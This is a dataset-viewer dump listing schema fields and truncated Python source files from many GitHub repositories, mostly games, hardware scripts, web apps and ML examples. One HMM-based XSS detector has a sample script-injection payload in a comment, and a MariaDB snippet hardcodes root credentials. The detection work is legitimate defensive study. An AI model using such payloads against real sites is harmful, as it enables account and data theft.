blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
2
283
content_id
stringlengths
40
40
detected_licenses
listlengths
0
91
license_type
stringclasses
2 values
repo_name
stringlengths
3
135
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringlengths
4
68
visit_date
timestamp[ns]date
2015-07-25 20:53:29
2023-09-06 10:46:05
revision_date
timestamp[ns]date
1970-01-01 00:00:00
2037-05-03 13:00:00
committer_date
timestamp[ns]date
1970-01-01 00:00:00
2036-02-09 17:40:36
github_id
int64
1.61k
691M
⌀
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
24 values
gha_event_created_at
timestamp[ns]date
2012-06-03 10:21:33
2023-09-14 21:59:50
⌀
gha_created_at
timestamp[ns]date
2008-03-27 23:40:48
2023-09-13 22:40:33
⌀
gha_language
stringclasses
250 values
src_encoding
stringclasses
27 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
6
10M
extension
stringclasses
289 values
filename
stringlengths
1
218
content
stringlengths
6
10M
473426948bf3fd0238e15fa8d7f7083ef08578d4
1fc264a2ae362f4c006627f01132928d703b010d
/tests/healthcheck/test_http_healthcheck.py
d31652c9fbdb4a73d0744e389bce934512dbbc71
[ "Apache-2.0" ]
permissive
DreamLab/VmShepherd
6c8a9008f68ab964f826af5281f59a34cb6c8a77
f602bb814080d2d3f62c6cb5fa6b9dd685833c24
refs/heads/master
2021-06-06T13:25:36.374730
2021-05-18T12:29:28
2021-05-18T12:29:28
133,093,825
11
3
Apache-2.0
2021-05-18T12:29:29
2018-05-11T22:21:16
Python
UTF-8
Python
false
false
1,508
py
test_http_healthcheck.py
import aiohttp from aiounittest import AsyncTestCase, futurized from collections import namedtuple from unittest.mock import Mock, patch from vmshepherd.healthcheck import HttpHealthcheck VmMock = namedtuple('VmMock', 'id ip name image flavor') HttpResp = namedtuple('HttpResp', 'status') class TestHttpHealthcheck(As...
33007ab65d0448518cb34cb8cbeebc96c469254e
2f24f35611e5786ce427fb7f22194b37309d7545
/Jetson Example/step_motor.py
30d4853fbbb29f580c1bc718f80bb73a23d44aa6
[]
no_license
chenyuyi94/Jetson-TX2-Project
900a7438e7dd67fd41c016bef414803f09acf35f
a176ca1d05c1b94fe7d4f79a66e7b247cbe841ca
refs/heads/master
2023-03-22T07:00:17.538516
2020-09-11T05:16:18
2020-09-11T05:16:18
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,065
py
step_motor.py
import sys print(sys.version) import Jetson.GPIO as GPIO import time # Parameter pulse_per_rev = 200 # choice in 200, 400, 800, 1600, 3200, 6400 (unit : pulse/rev) pulse_delay = 0.001 # unit : sec delay_time = 1 # unit : sec # for linear actuator lead = 2 # unit : mm # Pin Definitons: PUL = 29 # BOARD pin 29 DIR ...
4152580bf7d4101ef1adfea3d7c4c7f12df834a6
2a82d1625702c46eb144fa21f94fdef0b8b10e76
/data_reader.py
ef8df68acd12c0f6da8e4177680343620f9b1544
[ "Apache-2.0" ]
permissive
jshayiding/Attention-guided-imitation-learning
7df4f238d9424ad8bd45d97200634cc1d6bf680c
a9d8b7861db98876a7e26f158b110749f116e88d
refs/heads/master
2022-04-08T23:49:15.347604
2019-11-09T02:24:43
2019-11-09T02:24:43
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,566
py
data_reader.py
import os, re, threading, time import numpy as np from IPython import embed from scipy import misc import vip_constants as V import copy RESIZE_SHAPE = 84 #TODO class Dataset(Object): train_imgs, train_lbl, train_fid, train_size, train_weight = None, None, None, None, None val_imgs, val_lbl, val_fid, val_siz...
a60c5ca7f8580166be13073f0ce3ff87f51ef780
69dac3efe8fef7cc99216feaadb22172531f7bb2
/RockPaperScissor.py
9d81739f6469b5b28051cab4d810c7ea126e8783
[]
no_license
longhuynh05031990/Python-Rock-Paper-Scissor-Game
159f5b42c4dfed6d0fb68463953aba47f504490a
271d64be1e6dbb5973bc2875b35366115ac96085
refs/heads/master
2022-04-17T00:24:04.245996
2020-04-12T06:02:55
2020-04-12T06:02:55
248,200,691
0
0
null
null
null
null
UTF-8
Python
false
false
6,974
py
RockPaperScissor.py
############################################# # Import ############################################# import tkinter as Tk import os import sys import random from PIL import Image, ImageTk from functions import GamePlayHandler as Gp ############################################# # Mac...
0ea6da659c3db2386231faa1a9f66a175d891e7a
2652fd6261631794535589427a384693365a585e
/trunk/workspace/Squish/src/API/Android/SquishSyntax.py
6722a49b7d2e8829acfc915c5459de1a7d6062b7
[]
no_license
ptqatester1/ptqa
88c652380167f64a953bfd7a65041e7d8ac48c90
5b5997ea459e9aac17db8da2041e2af331927104
refs/heads/master
2021-01-21T19:06:49.275364
2017-06-19T03:15:00
2017-06-19T03:15:00
92,115,462
0
0
null
null
null
null
UTF-8
Python
false
false
6,470
py
SquishSyntax.py
################################################## #@author: Chris Allen #@summary: This includes squish specific syntax ################################################## from squish import * import inspect, os, time import test import inspect import re from API.Android.Utility.UtilConst import KeyboardConst class ...
f4db1ce9950e9eba1401e850c4a7c82e6bb2d242
74352868edb7b778f77e1e58dfb570a730c2ee8f
/extend_work/four/matplot2.py
940315a5c10f3f11be3961ab766fd9196f38f6fc
[]
no_license
QiuZiXian/python-learning-process
911f0788f649db79dbd7698d2b9c2606187017b2
e78f8d76373b5361e64a1785bbb3ec97ec48eda6
refs/heads/master
2023-02-20T23:06:54.085661
2021-01-23T08:17:02
2021-01-23T08:17:02
288,720,844
0
2
null
null
null
null
UTF-8
Python
false
false
2,755
py
matplot2.py
# !/usr/bin/env python # -*- coding: utf-8 -*- # __author__ = 'QiuZiXian' http://blog.csdn.net/qqzhuimengren/ 1467288927@qq.com # @time :2020/8/28 11:16 # @abstract : from matplotlib import pyplot as plt import numpy as np from mpl_toolkits.mplot3d import Axes3D # fig = plt.figure() # ax = Axes3D(fig) ...
fb4dd94949b3d654fcadc810cc1b213f1d42362c
f6a7a9ba97d9c4a7f7496db05e6af993a88dd339
/web安全之机器学习入门/12-4-HMM-recognise-XSS.py
168c7958292a2a1bd58a1986c679aa01b996327e
[]
no_license
sung3r/Machine-Learining-Security
e85efae6b70cb9f89e4a9cc9c8f5b83b9436337f
84879607b83183a9743b0e05c424e11d8d025c0e
refs/heads/main
2023-08-25T23:41:10.724083
2021-09-22T06:35:08
2021-09-22T06:35:08
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,619
py
12-4-HMM-recognise-XSS.py
import numpy as np from hmmlearn import hmm from urllib.parse import unquote, parse_qsl import re import joblib import nltk # 以黑找黑 # 处理参数值的最小长度 MIN_LEN = 6 # 隐状态个数 N = 10 # 最大似然概率阈值 T = -200 # 数据提取与特征提取,这一步不采用单字符的char特征提取,而是根据领域经验对特定的phrase字符组为基础单位,进行特征化,这是一种token切分方案 # </script><script>alert(String.fromCharCode(88,...
09c91b3bba77e565e31d9b48853d5a23a6143fd3
9159d1f6916851824d61123ee7af8ca222401ce9
/q6/TCP_Server.py
6be48bf861070373afb5a97e1c7d7511b015d981
[]
no_license
Eunoia1729/socket-programming-python
c9c27f26b77e08ca1d6c7644352067271eae7e51
0693ee43516ea5b9349bb3fc18961b175f46f5bd
refs/heads/main
2023-01-14T12:04:45.857035
2020-11-21T06:00:30
2020-11-21T06:00:30
313,396,636
2
1
null
null
null
null
UTF-8
Python
false
false
2,589
py
TCP_Server.py
import socket operators = ["+", "-", "/", "*"] def isValidQuery(query): op_count = 0 for op in operators: if op in query: op_count += 1 return (op_count == 1) def getOperator(query): for op in operators: if op in query: return op def performQuer...
1dad5db0c71c24dd6ba5cb5178bf7e1be13dde2e
bffe4c04dc9b73bf70e300ffd20d9dc6ef00c6f8
/ListUI.py
dff998f3e7e30de80e5a005018195c064f74d70e
[]
no_license
WilsonDeng/AudioPlayer
4d2661ec42ee9eea13ea5c292612efe8d5ead828
827244071a114218c817f37853a5719e4c5caf6b
refs/heads/master
2020-04-30T10:28:58.332829
2014-11-26T10:49:46
2014-11-26T10:49:46
26,910,452
1
1
null
null
null
null
UTF-8
Python
false
false
4,529
py
ListUI.py
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'List.ui' # # Created: Tue Nov 25 16:36:43 2014 # by: PyQt4 UI code generator 4.11.3 # # WARNING! All changes made in this file will be lost! from PyQt4 import QtCore, QtGui, Qt try: _fromUtf8 = QtCore.QString.fromUtf8 except Attri...
f53e54e6e32500386a9d480a9fcea50f301d4c7b
beb8819743444912180c92e696b6ee3607d0c274
/__init__.py
318b448f92a0661e3b2f17d4711aafc61e557024
[]
no_license
ns-szhang/synacor-challenge
d854f48152f3338a4b447c28e62762ea1f8cdba6
936764428f4a9c87ae6bf35f8708a8f735f38546
refs/heads/master
2021-01-10T05:44:55.927227
2015-12-28T18:11:34
2015-12-28T18:11:34
48,619,960
0
0
null
null
null
null
UTF-8
Python
false
false
447
py
__init__.py
operations = { 0: ('halt', 0), 1: ('set', 2), 2: ('push', 1), 3: ('pop', 1), 4: ('eq', 3), 5: ('gt', 3), 6: ('jmp', 1), 7: ('jt', 2), 8: ('jf', 2), 9: ('add', 3), 10: ('mult', 3), 11: ('mod', 3), 12: ('and', 3), 13: ('or', 3), 14: ('not', 2), 15: ('rmem', ...
49fe0baa035e94036ef9ee6d45671af1bf9aaa94
67721d3484b22c106e1ddea6db3e020b7b437d05
/PiApi/__init__.py
d574ce2b6212fe86ab4b16043acbe2762037b194
[]
no_license
moinologics/pi4-api
43a17b189d929d93f6365fff30a85713e7baa661
d11d4be79a5a807caf19a0e622fa187ffa28b839
refs/heads/master
2022-11-28T00:42:21.566777
2020-07-27T14:17:05
2020-07-27T14:17:05
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,211
py
__init__.py
from flask import Flask, jsonify, request import RPi.GPIO as GPIO #getting current user #import getpass #getpass.getuser() #utilities functions def boardsetup(mode): if mode=='bcm' or mode=='BCM': GPIO.setmode(GPIO.BCM) elif mode=='board' or mode=='BOARD': GPIO.setmode(GPIO.BOARD) else: return jsonify({'sta...
af7c2533fcc1b4430526b044d9fa8b3825d71d26
e88d6b08b351a4de125b4439a71ab4e13d0ef65b
/widukind_api/plugins/html_plugin.py
5f9692501297111d6f7dbd381e4f79a2b50af6c2
[]
no_license
Widukind/widukind-api
14ff6a201f7444029231d94bfd111651b9e6f3b4
68e3e184b0bbcc6acfbb8d2ae202e9dd30f3ca78
refs/heads/master
2020-05-22T07:55:12.926085
2017-04-01T09:28:00
2017-04-01T09:28:00
46,989,571
2
2
null
2016-08-11T06:24:16
2015-11-27T16:21:38
Python
UTF-8
Python
false
false
15,704
py
html_plugin.py
# -*- coding: utf-8 -*- import time from collections import OrderedDict from flask import request, Blueprint, abort, render_template, current_app from flask import make_response import pandas from widukind_api import queries from widukind_common.flask_utils import json_tools from widukind_common.tasks.export_files ...
df034b9c3f1263a256403aff57bbdb15722eba61
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03230/s439671465.py
a46d4c6782b187db63923ce1c7f849c8cf74323d
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
642
py
s439671465.py
n=int(input()) if int((2*n)**(1/2))*int((2*n)**(1/2)+1)==2*n: a=int((2*n)**(1/2)) print("Yes") print(a+1) A=[[] for i in range(a+1)] x=0 for i in range(a): for j in range(a-i): x=x+1 A[i].append(x) B=[[] for i in range(a+1)] x=0 for i in range(a): for j in range(a-i): x=x+1 ...
94e7b0f9b34147e2221cc491622f90c7ea28e109
c7e765a9bed33d3bfb21774e3995bf4a09e04add
/adminmgr/media/code/python/map2/BD_103_296_mapper.py
2fdea245742a8186165bda23dda6e9330ef2a2b4
[ "Apache-2.0" ]
permissive
IamMayankThakur/test-bigdata
13dd2ac7fb76c9baed6c3a0aa943057a22e2d237
7f507918c7bec31c92eedcd94491a83486623049
refs/heads/master
2022-05-03T00:59:44.127494
2022-02-10T19:50:16
2022-02-10T19:50:16
201,585,028
10
4
Apache-2.0
2022-04-22T23:39:45
2019-08-10T05:34:09
Python
UTF-8
Python
false
false
262
py
BD_103_296_mapper.py
#!/usr/bin/python3 import sys for record in sys.stdin.readlines(): record = record.strip() values = record.split(',') if values[0] == 'ball': print(values[6], ',', values[4], ',', int(values[7])+int(values[8]), ',', 1, sep='')
87a6ae2b2ca72aec53faa6d350b38eb3fd6337b3
cd22d45414504c1e99130b1d3e30c3e88e9fa206
/server/page.py
eb1de2bee4f58f95a9ac6a3d0907f1ed8c03aff9
[ "MIT" ]
permissive
christiantownsend/jstate
e05a66f7f0841403627862d3a77d8112486db4a2
25de4715123ea23294a0f81cb15a3abec77608a5
refs/heads/master
2020-04-16T02:08:17.797501
2016-09-18T14:46:40
2016-09-18T14:46:40
62,845,081
1
1
null
2016-09-07T18:26:54
2016-07-07T23:48:21
JavaScript
UTF-8
Python
false
false
282
py
page.py
from flask import Blueprint, render_template, request from conv import create_image, do, get_url import os page = Blueprint('page', __name__, template_folder='templates', static_folder='static') from jstate import check_login, session, test_check from mainpath import main_path
df7c7c1267ebc6e270736962032cdc12ab0dac61
b195fe5c51d02823c92a1c318468862956a1ee60
/db.py
17d65eb301afbce46691039257471130aea17ce0
[]
no_license
istec-iuc/Open-Source-Web-Search-Engine
d175c6c6ff581afb924d9fe939a5aef6f834df5c
63d5f03c7483919efa94633ac835b73eba8df595
refs/heads/main
2023-05-19T05:49:48.053534
2021-06-15T16:43:52
2021-06-15T16:43:52
342,264,979
0
3
null
null
null
null
UTF-8
Python
false
false
563
py
db.py
import mariadb import sys try: conn = mariadb.connect( user="root", password="123", host="127.0.0.1", port=3306, database="deneme" ) except mariadb.Error as e: print(f"Error connecting to MariaDB Platform: {e}") sys.exit(1) cur = conn.cursor() ...
912a03e544f17dd18847dd4f68ad7e3fb327fc10
7fc316c302bdbc3dcfb07b386cc65e06e8bf669b
/Aula6/cherryPy.py
ef8da33eb1fc12c60100fd0be797661296a17078
[]
no_license
maiconcarlosp/python
9bf9e69c83d0106e5b8443e34f65f7fc08e8951b
371200e740a5ddbc83b234d53cd8e9d674b429c8
refs/heads/master
2022-10-21T02:17:58.840167
2020-06-08T23:59:57
2020-06-08T23:59:57
265,403,399
0
0
null
null
null
null
UTF-8
Python
false
false
858
py
cherryPy.py
import cherryPy import os.path class tutorial: def index(self): output = ''' Olá, clique <a href='Olá'>Aqui</a> or <br> <form action='olanome' method='GET'> Seu nome <input type='text' name='name'> <input type='submit'> </form> ''' ...
84dad75b402778f97220b5675f327cdbbd9520b9
1fa7c05710f7abe5d81c46cc9e0d6f63c8f2dd3e
/02_Embedded/motor.py
a1cc12a0176c931cbe54200c411741ae97233fc3
[ "MIT" ]
permissive
SuhwanCha/Internet-Enabled-Automatic-DOG-Feeder-with-Raspberry-PI-3
c0ffe1444e739b365e1b681a7207a22e597e54a7
db084daaeef61f8de0e0101e7d0f34e480914cd1
refs/heads/master
2020-04-18T02:21:43.779790
2019-05-16T04:35:04
2019-05-16T04:35:04
66,184,982
1
0
null
null
null
null
UTF-8
Python
false
false
433
py
motor.py
# http://ljs93kr.tistory.com/40 import RPi.GPIO as GPIO import time pin = 18 # PWM pin num 18 GPIO.setmode(GPIO.BCM) GPIO.setup(pin, GPIO.OUT) p = GPIO.PWM(pin, 50) p.start(0) cnt = 0 try: p.ChangeDutyCycle(1) time.sleep(0.5) p.stop() except KeyboardInterrupt: p.stop() p.start(0) cnt = 0 try: ...
7d16ff09f5f7639e28705db26087bf330546f639
b5721d9820a52a81d099c4c733a0b5e611d5954d
/RepeatedDNASequence.py
1f2b5336e36332451cdbfab00e94c7350caea33e
[]
no_license
chesterking123/Leet-Code
be788649c61160747680a2e15d20684fc231d781
4a966c24f23552ca734bf405d393a003653eee57
refs/heads/master
2023-02-25T17:06:48.766746
2021-02-03T07:33:10
2021-02-03T07:33:10
287,775,499
0
0
null
null
null
null
UTF-8
Python
false
false
449
py
RepeatedDNASequence.py
class Solution(object): def findRepeatedDnaSequences(self, s): dix = {} i=0 answer = [] if(len(s)<10): return([]) p = True i=0 while(p): j=i+10 if(j==len(s)): p = False if s[i:j] in dix: ...
504410e06e79ff375b6e70ba10d19da1ade7235f
8264704d93d35c09edc4cf3c52ea02544615cef0
/logbook/views.py
83764b03f0ac8f91cab7bc06537f3cfc1909c66f
[]
no_license
utukJ/siwes
f6890bcdb86d3de56e5ae9887da8c2901dd87350
96eaa6fdc83882786ad71f75e35cd69c3d365642
refs/heads/master
2023-07-14T09:08:53.149037
2021-08-16T12:36:30
2021-08-16T12:36:30
374,487,321
0
0
null
null
null
null
UTF-8
Python
false
false
1,802
py
views.py
from logbook.forms import WeekUpdateForm from django.http.response import HttpResponse from django.shortcuts import render, redirect from .models import Workweek, Student import datetime # Create your views here. def index(request): return render(request, "logbook/index.html") def process_student(request): ...
89139817ea3ceb5fb917355bb2c4152ac4ea19f6
0221ad4489a92f73358f4dc648f6414a37e48a1a
/bst_from_preorder.py
20715248e991851e7e20a762375aa2933e7c43fd
[]
no_license
soobinkim1/EPI-python
6dc89bc8abede0b56ac6df89143ba702fcda0d96
7372777ef1068f992d77d5c5824470eed19092b8
refs/heads/master
2022-09-27T14:08:26.386671
2020-05-27T02:55:43
2020-05-27T02:55:43
250,546,884
2
0
null
null
null
null
UTF-8
Python
false
false
1,518
py
bst_from_preorder.py
class BstNode: def __init__(self, data=None, left=None, right=None): self.data, self.left, self.right = data, left, right def rebuild_bst_from_preorder(preorder_sequence: List[int] ) -> Optional[BstNode]: if len(preorder_sequence) == 0: return None # maintain a...
c4b28b98f45b72ac0b8b39031d66daab4fdcb984
fac2f69083cf4f8042b0318fbe87620f36213246
/discord_interactions/ui/components.py
8f32454b7e268a54975799b42ab1fbde7cf0e749
[]
no_license
Lapis0875/discord_interactions.py
b900e33deb7bb6e979675fd4a169650228341698
ce83ec9a249a49a7a55821303c56f2b97c1e892e
refs/heads/master
2023-06-03T10:00:22.455881
2021-06-21T15:40:20
2021-06-21T15:40:20
330,668,055
11
0
null
null
null
null
UTF-8
Python
false
false
12,641
py
components.py
from __future__ import annotations from enum import Enum from typing import List, Optional, Final, Union from discord import PartialEmoji from discord_interactions.utils.type_hints import JSON, EMOJI from discord_interactions.utils.log import get_stream_logger # Constant Values - key TYPE: Final[str] = 'type' COMPO...
23dfac087dd74a64eb7c3433d27750349d516f8d
074c4e5abfb88d30c1777f82adc0d0404244a4aa
/main.py
8db993aeb087641d233d49cf75dae14bd990f560
[]
no_license
aidai17/test_repo_secondtrial
b9ddeb856be21686358eb2411f47107bc521afa5
f393d30afaddc48792c49d7ce64322765bdd1cea
refs/heads/main
2023-08-11T19:08:44.906371
2021-09-28T15:34:32
2021-09-28T15:34:32
411,341,209
0
0
null
null
null
null
UTF-8
Python
false
false
1,635
py
main.py
# список книг {назв.книги: автор} # books = {'Financial': 'Theodor Draiser', # 'Rich dad, poor dad': 'Robert Kiyosaki', # 'Think and get rich': 'Napoleon Hill'} # список читателей {имя: {назв.книги: автор}} # {'Alex': {'Financial': 'Theodor Draiser'}} # функция, которая выводит информацию о книгах # которые есть и о ...
98f9bd79d738a62ba0e99da50eb258e346cd875d
8f85195b4c587a7816e548a6a4f778fa639b8e54
/simulation/traffic_types.py
1cb317c3e59be25f70868be0429a87cb13c8e12d
[ "MIT" ]
permissive
salinsiim/petssa-simulation
c87000905b8f6fd33dd56cfa26438e6e83fb9006
8f0f128d462831f86664bb8d246f2c7b659a0b8d
refs/heads/main
2023-08-14T00:16:35.655155
2021-10-13T06:43:56
2021-10-13T06:43:56
376,922,988
0
0
null
null
null
null
UTF-8
Python
false
false
68
py
traffic_types.py
# Constants for traffic_old types PEAK = "peak" OFFPEAK = "offpeak"
c3ac6d82fba3b458a59701b48eaac8d0ce49f093
424b731ec8ce071ae639b5431de61636314822c0
/Efficiencies/python/runHppEfficiency.py
ac9d572929a9378e2e4876b0f720b024e41d2c93
[]
no_license
red1habibullah/DevTools
f54a9c7c13c964fa5e9f3116d75f35876a130a1e
84cdc90db1713589a094cf2f632f477751722beb
refs/heads/master
2020-06-01T16:40:52.874714
2016-03-15T09:28:26
2016-03-15T09:28:26
190,853,138
0
0
null
2019-06-08T06:20:28
2019-06-08T06:20:28
null
UTF-8
Python
false
false
1,289
py
runHppEfficiency.py
#!/usr/bin/env python import argparse import logging import sys from DevTools.Efficiencies.HppEfficiency import HppEfficiency logger = logging.getLogger("HppEfficiency") logging.basicConfig(level=logging.INFO, stream=sys.stderr, format='%(asctime)s.%(msecs)03d %(levelname)s %(name)s: %(message)s', datefmt='%Y-%m-%d %...
cac59af2a873076e863ef29457331d0b9f669e8a
9365c88e1f228eb6573b523a4e0324222ca7cdbd
/setup.py
1c565e79602e4d640be92c381d14846b2fc38225
[ "BSD-3-Clause", "BSD-2-Clause" ]
permissive
olegrok/tarantool-python
67b2ef7e09d3c7c34ce812e5c69fa9619f453687
6fb3490bdb6b89e51cfcf5283fb2759dd2280a62
refs/heads/master
2023-03-18T12:31:03.521737
2023-02-13T10:59:49
2023-02-13T11:05:27
606,984,968
0
0
null
2023-02-27T04:07:29
2023-02-27T04:07:28
null
UTF-8
Python
false
false
3,210
py
setup.py
#!/usr/bin/env python import codecs import os import re try: from setuptools import setup, find_packages from setuptools.command.build_py import build_py except ImportError: from distutils.core import setup, find_packages from distutils.command.build_py import build_py # Extra commands for documentat...
ec564ff05eb5166d76ee8166403b180bd0982fa4
4869f79cedcb8aef7f4d064bb8927ed3595c4c5e
/AnonymousGroupLogin/RegisterUser/xep_0077.py
29c946c5fc43d14a5cd097cb274fc4003684043d
[]
no_license
mpetyx/xmpp-padgets-development
622fef069e2b8f6beb15296b0d3fdd554d13535f
a0ca9ed2dd513f83ebb8cb4f4836708c82975713
refs/heads/master
2021-01-25T07:34:33.869597
2012-03-27T12:45:40
2012-03-27T12:45:40
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,182
py
xep_0077.py
''' Created on Mar 15, 2012 @author: mpetyx ''' """ Creating a SleekXMPP Plugin This is a minimal implementation of XEP-0077 to serve as a tutorial for creating SleekXMPP plugins. """ from sleekxmpp.plugins.base import base_plugin from sleekxmpp.xmlstream.handler.callback import Callback from sleekxmpp.xmlstream.ma...
6f1ca2ea6c339f3793f73c8b9b02a7fb68327839
6db2626879d0bae3a53a7b700ea6e5c6c312883a
/bmi.py
bdaec174269bd54b53578ec7f651a66f056920cc
[]
no_license
brielle-ashlyn/fundamentals-of-programming
d21f274be6aed0e0a349ee2f17b099c5a41a2bb4
f967c56e52f3437a5985be670981b19a097aa0ae
refs/heads/master
2021-01-19T06:09:45.950086
2016-06-08T03:08:37
2016-06-08T03:08:37
60,664,215
0
0
null
null
null
null
UTF-8
Python
false
false
496
py
bmi.py
weight = int(input("Please enter your weight in pounds: ")) print("Next, enter your height in feet and inches:") feet = int(input("Enter feet: ")) inches = int(input("Enter inches: ")) mass = (weight * 0.454) height = (((feet * 12) + (inches)) * 0.0254) BMI = (mass/(height*height)) print("Your BMI is ", BMI) if BMI < 1...
47a56717b25b62d98b351d167b12a73173fa02c3
cb57ce5c2e2331cac7746eef1aa29a2f8e87e293
/AppEngine/instruments.py
89cc98997a143c0d49a28a4445a9caa1d6682cc3
[]
no_license
williamvennard/frogger
7767b8e4de87d05b81c1f39ff6d487709ff7d536
4e3fb7bdb25ae86ae82cb54b7b57775d056a76ba
refs/heads/master
2020-04-02T15:41:43.982383
2018-10-24T23:04:33
2018-10-24T23:04:33
154,579,277
2
0
null
null
null
null
UTF-8
Python
false
false
4,924
py
instruments.py
from gradientone import InstrumentDataHandler from gradientone import query_to_dict from gradientone import create_psettings from gradientone import convert_str_to_cha_list from gradientone import render_json from gradientone import unic_to_ascii from gradientone import author_creation from onedb import ConfigDB from o...
409574ac2b9ecfd2fd1213ac69446f433b10ad92
deede72ea7b08686cefb710d5faf4faf441b5fc2
/prepare_data/breast_one_hot.py
4937d39819c483662b5c819ae4aa02ab038dd0ee
[ "Apache-2.0" ]
permissive
tiensu/xgboost-algorithm
4f3a7319bf10363f695f51419835c30f1245e5f6
6eccb74e58f5a3f6cdab548ed45de35367b3cfa0
refs/heads/master
2022-12-29T10:22:18.135460
2020-10-13T09:28:25
2020-10-13T09:28:25
291,452,525
4
1
null
null
null
null
UTF-8
Python
false
false
1,600
py
breast_one_hot.py
# binary classification, breast cancer dataset, label and one hot encoded from numpy import column_stack from pandas import read_csv from xgboost import XGBClassifier from sklearn.model_selection import train_test_split from sklearn.metrics import accuracy_score from sklearn.preprocessing import LabelEncoder from sklea...
2575949bc7c28588db9eea4a86fcee20781c326a
c134a34056d73f239265421eabc55f23d2865a70
/tests/geojson_tests.py
77175b6e15c77a8b855fad42108755d74e91e288
[ "MIT" ]
permissive
AristotleWang/karta
9e529f061f95c6cffcfabf8d668d13690bf1007b
b35d8cbcfb62e9f1d826a5c73605d34a0c0990b6
refs/heads/master
2022-01-19T04:13:08.825716
2019-01-24T04:49:33
2019-01-24T04:49:33
null
0
0
null
null
null
null
UTF-8
Python
false
false
12,954
py
geojson_tests.py
""" Unit tests for vector functions """ import unittest import os try: from StringIO import StringIO except ImportError: from io import StringIO import json import picogeojson from test_helper import TESTDATA import karta.vector as vector import karta.vector._geojson as geojson from karta.vector.geometry im...
eea28593105e44158bc53000ef1d2539008f3b3c
849f03bbb7fa6b9469af4017307c764a82de5faf
/demo/train.py
dce158276053f6f99213757ee0e9855f3bfd9ca8
[ "Apache-2.0" ]
permissive
terrifyzhao/FastLearning
770583e3a761a3430164baabf1b198c18966abb9
6eb3e383a30da8dfc1be9c784f71081e9e70f143
refs/heads/main
2023-01-28T12:21:00.511637
2020-12-07T11:51:19
2020-12-07T11:51:19
310,182,411
0
0
null
null
null
null
UTF-8
Python
false
false
2,735
py
train.py
import sys import os rootPath = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) sys.path.append(rootPath) from text_classification.text_cnn import TextCNN from torch.utils.data import DataLoader, TensorDataset from text_classification.data_process import * import torch from torch import nn import pandas a...
25a79112fac5c61de8a4d15b51831ee73974e932
ed2771a978f99213fe1127c38a811d1a72272d8d
/main.py
a8b08d06a0d4299d09379856c5928904e2f1fbe7
[]
no_license
inkramink/cinema
75ea40623d3cc4116b92ab740f2132958b81fe0b
9915e14d1e67a9237c00778d530317e80ef8068d
refs/heads/main
2023-04-04T00:10:16.998550
2021-04-13T13:48:42
2021-04-13T13:48:42
348,377,610
1
0
null
null
null
null
UTF-8
Python
false
false
6,699
py
main.py
from flask import Flask, render_template, redirect, request, url_for from flask_login import LoginManager, login_user, login_required, logout_user, current_user from alice import say from data import db_session from forms.user import RegisterForm, LoginForm from forms.write_comment import ReviewForm from data.users imp...
4453e04149e700cf6de368be5d09412fbdf9ccca
3e52be1113105a9b50847ff2279712aab29b3a1c
/mcstasscript/tests/test_McStasPlotOptions.py
b6ed26f4a7f90f9b94c9a4f97c412978cbadc250
[ "BSD-3-Clause" ]
permissive
PaNOSC-ViNYL/McStasScript
425730f188026745cf4d147ea61832a372c8c044
f8e17f34377cecf11914e23cb6fb7231baeae304
refs/heads/master
2023-08-31T13:33:00.615770
2023-08-30T12:22:50
2023-08-30T12:22:50
173,936,805
8
9
BSD-3-Clause
2023-09-14T12:49:58
2019-03-05T11:49:33
Raku
UTF-8
Python
false
false
7,823
py
test_McStasPlotOptions.py
import unittest from mcstasscript.data.data import McStasPlotOptions class TestMcStasPlotOptions(unittest.TestCase): """ Various test of McStasPlotOptions class """ def test_McStasPlotOptions_default_log(self): """ Test that newly created McStasPlotOptions log attribute has c...
557c3682bc6d6e5054dce4cfe3d0b771c9d144c0
c838c53ec5de94af57696f11db08f332ff2a65d8
/order/migrations/0047_order_terms_of_payment.py
a7b245ad28bbb7b0c7cbb5a460cf7a6ca65b62d8
[]
no_license
memobijou/erpghost
4a9af80b3c948a4d7bb20d26e5afb01b40efbab5
c0ee90718778bc2b771b8078d9c08e038ae59284
refs/heads/master
2022-12-11T14:47:59.048889
2019-01-28T02:30:40
2019-01-28T02:30:40
113,774,918
1
1
null
2022-11-22T02:02:41
2017-12-10T18:53:41
Python
UTF-8
Python
false
false
1,258
py
0047_order_terms_of_payment.py
# -*- coding: utf-8 -*- # Generated by Django 1.11.2 on 2018-04-22 05:21 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('order', '0046_remove_positionproductorder_productorder'), ] operations = [ ...
105f18ce2d9b64470f7a2c479ed93a177ff24f01
1250c14977d2fb2217ee0ce4991c5b62348b74ec
/mafia-killer-007.py
0250088865fd61b90ccf3a7798a64a789bcd9992
[]
no_license
Arbab-Memon/12
d0733e7b4d8fcffe56718dde18e686dede7ce248
c7af9fc538c42c17a61b13988175c00e392c50dd
refs/heads/main
2022-12-26T14:17:42.354222
2020-10-06T18:35:13
2020-10-06T18:35:13
300,706,119
0
1
null
null
null
null
UTF-8
Python
false
false
3,955
py
mafia-killer-007.py
  ______  _____ __ __) ______  (, / ) (, / (, /| /  (, / )  /---(  / / | /  / /  ) / ____)___/__ ) / |/  _/___ /_ (_/ ( (__ / (_/ '  (_/___ / ...
32c52f9983b408974b28573acf54158c578a17a5
1840291043308108ae02d913477570f2097854d6
/oneschool/website/urls.py
a11f3de98844bf4f1d49193c418f38706aed48a1
[]
no_license
NouKD/oneschool
ee4ef6e563cf813b1263cd4461360734488376bc
d5d3552e03582f0beb2f87edc205ec7aff7f3db4
refs/heads/master
2023-02-03T01:41:56.655826
2020-12-22T16:26:09
2020-12-22T16:26:09
272,043,585
0
1
null
